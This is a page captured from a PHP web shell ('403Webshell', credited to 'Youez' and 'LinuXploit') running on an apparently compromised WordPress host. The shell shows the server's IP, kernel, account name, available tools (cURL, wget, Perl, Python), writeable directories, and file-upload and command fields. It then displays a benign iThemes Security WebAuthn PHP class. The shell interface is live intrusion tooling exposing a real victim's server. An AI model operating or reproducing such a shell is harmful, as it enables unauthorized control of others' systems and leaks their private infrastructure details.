403Webshell
Server IP : 104.21.14.103  /  Your IP : 3.144.97.189
Web Server : LiteSpeed
System : Linux business53.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : giankuin ( 1871)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/giankuin/dietcontrungnhanh.com/wp-content/plugins/ithemes-security-pro/pro/webauthn/DTO/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/giankuin/dietcontrungnhanh.com/wp-content/plugins/ithemes-security-pro/pro/webauthn/DTO/PublicKeyCredentialRpEntity.php
<?php

namespace iThemesSecurity\WebAuthn\DTO;

use iThemesSecurity\Strauss\Assert\Assert;

final class PublicKeyCredentialRpEntity extends PublicKeyCredentialEntity {

	/**
	 * A human-palatable identifier for the Relying Party, intended only for display.
	 *
	 * @var string
	 */
	protected $name;

	/**
	 * A unique identifier for the Relying Party entity, which sets the RP ID.
	 *
	 * An RP ID is based on a host's domain name. It does not itself include a
	 * scheme or port, as an origin does. The RP ID of a public key credential
	 * determines its scope.
	 *
	 * For example: login.example.com
	 *
	 * @var string
	 */
	protected $id;

	public function __construct( string $id, string $name ) {
		Assert::that( $id )->notBlank( 'id "%s" is blank, but was expected to contain a value.' );

		$this->id = $id;
		parent::__construct( $name );
	}

	public static function hydrate( array $data ): self {
		Assert::that( $data, 'PublicKeyCredentialRpEntity hydration does not contain "%s".' )
		      ->keyExists( 'id' )
		      ->keyExists( 'name' );

		return new self( $data['id'], $data['name'] );
	}

	public function get_id(): string {
		return $this->id;
	}

	public function jsonSerialize(): array {
		return get_object_vars( $this );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit